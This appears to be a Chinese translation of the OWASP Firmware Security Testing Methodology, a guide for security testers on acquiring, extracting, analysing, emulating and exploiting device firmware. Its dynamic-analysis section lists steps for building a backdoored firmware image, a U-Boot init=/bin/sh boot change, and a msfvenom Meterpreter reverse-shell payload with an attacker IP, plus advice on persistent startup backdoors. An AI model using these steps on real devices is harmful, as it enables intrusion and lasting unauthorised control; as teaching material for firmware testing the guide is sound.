OWASP固件安全性测试指南 OWASP固件安全性测试指南 前景 0x01:信息搜集 0x02:获取固件 0x03:分析固件 0x04:提取文件系统 0x05:分析文件系统内容 0x06:仿真固件 0x07:动态分析 0x08:运行时分析 0x09:漏洞利用 固件和二进制文件分析工具 用于练习的固件项目

固件安全评估,英文名称 firmware security testing methodology 简称 FSTM。该指导方法主要是为了安全研究人员、软件开发人员、顾问、爱好者和信息安全专业人员进行固件安全评估。

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目

前景

我们基于 FSTM 进行测试流程如下:

id

阶段

描述

1

信息收集

固件的相关技术文档的详细使用说明

2

获取固件

使用本文中介绍的多种办法获取固件

3

分析固件

固件的功能、特性

4

提取文件系统

从固件中获取文件系统

5

分析文件系统内容

静态分析提取的文件系统的配置文件和二进制文件中的漏洞

6

仿真固件

模拟固件文件和组件

7

动态分析

根据固件和应用程序接口进行动态测试

8

运行时分析

在设备运行时分析编译的二进制文件

9

二进制利用

利用上述手段发现的漏洞实现命令执行

0x01:信息搜集

可搜集与固件相关如下基础信息:

  • 基于的CPU架构
  • 操作系统平台
  • 引导程序配置
  • 硬件原理图
  • 数据表
  • 代码行估计
  • 源代码存储库位置
  • 第三方组建
  • 开源许可证(GPL)
  • 变更日志
  • FCC ID
  • 设计和数据流程图
  • 威胁建模
  • 渗透测试报告之类
  • 一些测试平台的测试(Jira、错误赏金平台 bugcrowd 或 hackerone )

搜集方法:

  • 利用开发团队及其内部产品线获取准确和最新的数据,及其项目设计原理和应用的安全设置,进而判断出与安全风险有关的信息和某些特定功能点。
  • 开源情报( OSINT:Open source intelligence )技术手段来获取数据

在搜集信息中遇到开源软件的处理方式:

  • 下载开源软件存储库,并根据代码库执行手动和自动静态分析
  • 开源软件有其自身的静态分析工具 ,Example:
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
U-Boot Coverity Scan
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
U-Boot Coverity Scan Analysis
  • semmle的LGTM对Dropbear的分析:
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
LGTM Dropbear Alerts
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
LGTM Dropbear Results

获取如上信息后便可进行粗略的威胁建模:标识出可攻击功能点和影响范围,方便测试时进行漏洞点的贯穿使用。

0x02:获取固件

  • 直接从开发团队、制造商/供应商或用户获取
  • 使用制造商提供的项目从头编译
  • 从供应商的support网站获取
  • 从共享平台( DropboxboxGoogle drive)根据二进制文件扩展名获取
    • 从用户为了解决问题而上传固件到论坛、博客,或官方评论中获取
  • 设备更新进行中间人(MITM)获取
  • 云提供商存储位置(如:AWS,全称Amazon Web Services S3 buckets)下载构建版本
  • 通过 UARTJTAGPICit等直接从硬件中提取
  • 嗅探“硬件组件中的串行通信”中的更新服务器请求
  • 通过移动应用程序中的硬编码接口
  • 将固件从引导加载程序(如:U-boot )转储到闪存或通过tftp的网络转储
  • 从主板卸下闪存芯片(如:SPI )或 MCU,以进行离线分析和数据提取
    • 需要相应的芯片编辑器来存储 flash/MCU

0x03:分析固件

获取固件后需要分析其特征信息:固件文件类型、潜在的根文件元数据、编译基于的平台,使用 binutils 分析过程如下:

file <bin>
strings
strings -n5 <bin>
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header

若使用上述方法未提取出有用信息,可能由于以下原因:

  • 二进制文件可能是Bare Metal
  • 二进制文件可能仅适用于带有自定义文件系统的实时操作系统( RTOS )平台
  • 二进制文件可能是加密的

判断二进制文件是否是加密:

0x04:提取文件系统

为了分析固件内部相关文件系统数据、未编译代码和设备配置,需使用以下手动和自动方法提取固件文件系统:

0x05:分析文件系统内容

手动分析

静态分析文件系统可从如下方面入手:

同时,此过程中分析的结果,可为动态分析做基础准备。

自动分析:firmwalker

firmwalker 分析内容范围如下:

自动固件分析工具:firmwalkerAaron Guzman 在原生代码基础上添加了一些其他的检查,可参照 firmwalker

案例:在 OWASP IOTGoat 中使用 firewalker分析

firmwalk 分析文件系统需使用绝对路径:

./firmwalker.sh /home/embedos/firmware/_IoTGoat-rpi-2.img.extracted/squashfs-root/

分析结果如下:

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目

分析结果存储在 /data/ 目录下的两个文件:firmwalker.txtfirmwalkerappsec.txt,需手动检查这些文件。

自动分析:FACT

FACT 固件分析比较工具包分析内容如下:

案例:在EmbedOS 中使用FACT分析

cd ~/tools/FACT_core
sudo ./start_all_installed_fact_components

浏览器访问:http://127.0.0.1:5000

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
FACT Dashboard

将固件上传到FACT进行分析(可以将带有文件系统的完整固件)

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
FACT Upload

根据给FACT硬件资源,扫描时间会相应不同

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
FACT IoTGoat

FACT分析结果

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
FACT IoTGoat Exploit Mitigation Results

二进制文件分析:

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
Shellback Ghidra Analysis
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
Checksec.sh

对于 Microsoft 二进制文件(EXE、DLL),使用 PESecurity 检查 ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow GuardHighEntropyVA

0x06:仿真固件

为了确定及验证上面的详细信息、线索、潜在的漏洞,必需模拟固件及其封装的二进制文件。

如下列出仿真固件的方法:

部分仿真( user mode )

Example:

sudo chroot . ./qemu-arm-static bin/busybox ls
sudo chroot . ./qemu-arm-static usr/bin/shellback

​ 使用 netcat 尝试连接该服务

sudo lsof -i :5515
nc -nv 127.0.0.1 5515
sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI=<request_uri> -E REMOTE_ADDR=<ip_addr> -E HTTP_COOKIE=<custom_cookie> -g <port> <path to cgi binary>

通过上述手段模拟了目标二进制文件,可以使用其应用程序和网络接口,与其进行交互。

全系统仿真( system mode )

使用自动化工具来进行固件的完整仿真

自动化工具:firmadyne、固件分析工具包、ARM-X 固件仿真框架,这些工具实质上是 QEMU 和其他环境功能 (如:nvram )的包装器。

需注意:固件中包含不常见的压缩文件系统或不支持的体系结构,可能需要修改这些工具

0x07:动态分析

设备在正常运行或者在仿真环境中运行中的动态测试,此阶段的测试可能会由于项目和访问级别有所差异。

分析手段:

嵌入式Web应用程序测试

检查方向:

引导加载程序测试

修改设备的引导加载程序时,可以进行如下操作:

#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server

固件完整性测试

尝试上传自定义固件或编译过的二进制文件,来检测完整性或签名验证漏洞。

可设置后门点:启动脚本引用、某些链接、依赖不受信任的安装位置(如:SD 卡)或用位于根文件系统外部存储数据的 flash 的代码时触发。

使用以下步骤编译在启动中的后门 shell :

  1. 使用固件修改包(FMK:firmware-tool-kit)提取固件
  2. 确定目标固件架构和字节序
  3. 使用 Buildroot 构件交叉编译器或使用其他适合的环境
  4. 使用交叉编译器构件后门
  5. 将后门复制到解压缩的固件 /usr/bin
  6. 将适当的 QEMU 二进制文件复制到固件rootfs
  7. 使用 chroot 和 QEMU 模拟后门
  8. 使用 netcat 连接后门
  9. 从 rootfs 中删除 QEMU 二进制文件
  10. 使用FMK重新包装修改后的固件
  11. 使用固件工具分析包( FAT )进行仿真并使用 netcat 连接到目标后门 ip、端口测试后门固件

若在动态分析后,通过操纵引导加载程序或其他的硬件安全测试手段获得了root shell,尝试执行预编译恶意二进制文件(即在二进制文件中植入程序或反向 shell),可通过使用自动化的有效载荷或工具( C&C )框架进行命令执行和控制,比如使用 Metasploit 框架和 msfvenom,如下是操作步骤:

msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z

最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权

0x08:运行时分析

设备在正常运行或在仿真环境中运行时,对正在运行的进程或二进制文件进行调试。如下是分析步骤:

  1. sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
  2. 使用gdb-multiarch或IDA进行调试
  3. 为步骤4中的功能点设置断点,如: memcpy, strncpy, strcmp,等
  4. 确认漏洞点,比如:通过发送较大的有效载荷来识别溢出或进程崩溃点

一些可能使用的工具:

0x09:漏洞利用

通过上面阶段的测试识别出漏洞之后,需使用PoC在真实环境中进行验证。编写漏洞利用代码需要掌握低级语言(如:ASM、C/C++、shellcode 等)的编程及了解一些目标体系结构(如:MIPS、ARM、x86等)。

在遇到二进制缓解(保护)机制(eg:NX、DEP、ASLR等)时,需要其他技术进行恶意攻击,比如:

相关方面知识可参考文档:

固件和二进制文件分析工具

用于练习的固件项目

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目

OWASP固件安全性测试指南
OWASP固件安全性测试指南
前景
0x01:信息搜集
0x02:获取固件
0x03:分析固件
0x04:提取文件系统
0x05:分析文件系统内容
0x06:仿真固件
0x07:动态分析
0x08:运行时分析
0x09:漏洞利用
固件和二进制文件分析工具
用于练习的固件项目
来源: https://scriptingxss.gitbook.io/firmware-security-testing-methodology/v/zhong-wen-fstm/


相关推荐